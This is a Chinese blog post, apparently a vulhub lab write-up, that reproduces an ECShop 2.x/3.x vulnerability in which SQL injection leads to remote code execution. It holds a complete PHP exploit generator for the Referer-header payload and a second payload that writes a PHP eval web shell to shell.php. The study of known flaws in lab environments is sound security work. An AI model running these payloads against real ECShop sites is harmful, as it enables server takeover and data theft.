zoukankan      html  css  js  c++  java
  • ecshop漏洞复现

    简介

    2021年6月30日。

    漏洞环境:无额外说明均为vulhub。

    参考链接:

    官网:https://www.ecshop.com/

    百科:https://baike.baidu.com/item/ecshop/10041925?fr=aladdin

    https://www.freebuf.com/column/185049.html

    https://www.seebug.org/appdir/ECSHOP

    ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。

    我看seebug上关于它的漏洞有好多。

    xianzhi-2017-02-82239600(SQL注入/远程代码执行)

    参考链接:

    https://blog.csdn.net/weixin_43416469/article/details/114019303

    脚本:https://github.com/ADummmy/vulhub_Writeup/blob/main/code/ecshop_sql_rce_exp.php

    该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

    漏洞影响范围:

    2版本全系列
    3.x - 3.6.0

    我看文章中说3.6.0版本已经将漏洞修复了,实验中的3.6.0版本代码应该有变动。

    漏洞复现

    启动环境,访问http://your-ip:8080端口,将进入到2.7.3版本的安装界面。访问8081端口,将进入到3.6.0版本的安装界面。

    注意:数据库主机地址要填写mysql,不是localhost。数据库用户名密码均为root。两个版本安装时的数据库名不能相同。

    2.7.3版本首页。

    3.6.0版本首页。

    下载攻击脚本,生成攻击payload。

    <?php
    $shell = bin2hex("{$asd'];phpinfo	();//}xxx");
    $id = "-1' UNION/*";
    $arr = [
        "num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
        "id" => $id
    ];
    
    $s = serialize($arr);
    
    $hash3 = '45ea207d7a2b68c49582d2d22adf953a';
    $hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
    
    echo "POC for ECShop 2.x: 
    ";
    echo "{$hash2}ads|{$s}{$hash2}";
    echo "
    
    POC for ECShop 3.x: 
    ";
    echo "{$hash3}ads|{$s}{$hash3}";
    

    访问/user.php?act=login目录,使用burp拦截抓包,添加Referer字段,值为payload脚本生成的内容。

    获取shell(3.6.0版本)

    $shell = bin2hex("{$asd'];assert	(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3NoZWxsLnBocCcsJzw/cGhwIGV2YWwoJF9QT1NUW2NtZF0pOyA/Picp'));//}xxx");
    

    base64编码的内容为:

    file_put_contents('shell.php','<?php eval($_POST[cmd]); ?>')
    

    这个版本,如果无回显的payload执行成功,响应包大小为7333个字节,执行失败为7330,多的三个字节为xxx

    漏洞修复

    在3.6.0版本以上,该漏洞已被修复。

    现在我看最新版的已经到4.1了。

    本博客虽然很垃圾,但所有内容严禁转载
  • 相关阅读:
    性能测试相关概念
    java -json()
    jquery ajax 前前后后,所有的函数并查询链接
    jquery ajax get /post
    jquery ajax load
    三个重要属性
    发送请求
    处理返回结果(XML)
    处理返回结果
    调用对象
  • 原文地址:https://www.cnblogs.com/ahtoh/p/14954554.html
Copyright © 2011-2022 走看看